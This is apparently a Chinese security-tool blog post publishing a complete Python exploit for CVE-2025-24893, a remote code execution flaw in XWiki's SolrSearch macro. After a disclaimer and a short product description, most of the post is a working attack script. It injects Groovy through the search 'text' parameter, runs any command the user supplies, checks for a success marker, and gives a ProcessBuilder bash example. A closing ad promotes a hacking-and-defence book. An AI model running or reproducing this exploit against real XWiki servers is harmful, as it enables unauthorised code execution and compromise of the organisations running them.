XWiki SolrSearchMacros 远程代码执行漏洞PoC(CVE-2025-24893)
XWiki SolrSearchMacros 远程代码执行漏洞PoC(CVE-2025-24893)
iSee857 Web安全工具库 2025-02-25 16:01
===================================
免责声明请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。个人微信:ivu123ivu
0x01 工具介绍
XWiki是一个开源的 wiki 平台,允许用户创建、编辑和管理内容,支持丰富的文档协作和知识管理功能。它类似于维基百科,但更注重企业级应用,提供强大的扩展性和自定义能力,支持结构化数据、脚本编写和插件集成。XWiki适用于团队协作、知识库建设以及复杂文档管理,适合需要高度定制化 wiki 解决方案的组织。
0x02 安装与使用
命令使用
python CVE-2025-24893.py [URL] [COMMAND]
import argparse
import requests
import sys
from urllib.parse import urljoin
VULN_PATH = "/xwiki/bin/get/Main/SolrSearch?media=rss&text="
PAYLOAD_TEMPLATE = "}}}{{async async=false}}{{groovy}}%s;println('EXPLOIT_SUCCESS'){{/groovy}}{{/async}}"
def banner():
print("\033[36m" + """
****************************************************
* CVE-2025-24893 *
* XWiki RCE漏洞利用工具 *
* 作者: iSee857 *
****************************************************
""" + "\033[0m")
def execute_exploit(target_url, command):
try:
full_url = urljoin(target_url.rstrip('/') + '/', VULN_PATH.lstrip('/'))
safe_cmd = command.replace('{', '{{').replace('}', '}}')
safe_cmd = safe_cmd.replace('\\', '\\\\')
safe_cmd = safe_cmd.replace("'", "\\'")
payload = PAYLOAD_TEMPLATE % safe_cmd
params = {'media': 'rss', 'text': payload}
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': '*/*'
}
response = requests.get(
full_url,
params=params,
headers=headers,
allow_redirects=False,
verify=False,
timeout=20
)
if response.status_code == 200 and 'EXPLOIT_SUCCESS' in response.text:
print("[+] 漏洞利用成功!响应片段:")
print(response.text[:300].split('EXPLOIT_SUCCESS')[0] + "...[SUCCESS]")
return True
else:
print(f"[-] 利用失败,状态码:{response.status_code}")
return False
except Exception as e:
print(f"[-] 错误:{str(e)}")
return False
if __name__ == "__main__":
banner()
parser = argparse.ArgumentParser(description="XWiki RCE漏洞利用工具 CVE-2025-24893")
parser.add_argument("URL", help="目标URL (例: http://127.0.0.1:8080)")
parser.add_argument("COMMAND", help="Groovy命令 (例: 'new ProcessBuilder(\"bash\",\"-c\",\"echo pwned > /tmp/pwned.txt\").waitFor()')")
args = parser.parse_args()
if '\\' in args.COMMAND:
args.COMMAND = args.COMMAND.replace('\\', '/')
success = execute_exploit(args.URL, args.COMMAND)
sys.exit(0 if success else 1)
·今 日 推 荐
·
反黑命令与攻防从新手到高手:微课超值版》在剖析用户进行黑客防御中迫切需要用到或迫切想要用到的命令的同时,力求对其进行实操性的讲解,使读者对网络防御技术形成系统了解,能够更好地防范黑客的攻击。全书共13章,包括计算机知识快速入门、DOS窗口与DOS系统、常见DOS命令的应用、磁盘分区与数据安全、系统安全之备份与还原、SQL注入入侵与弱口令入侵、远程入侵Windows系统、系统进程与入侵隐藏技术、局域网入侵与防御技术、恶意软件与间谍软件的清理、后门入侵与痕迹清理技术、病毒和木马的入侵与防御,以及无线网络的入侵与防御。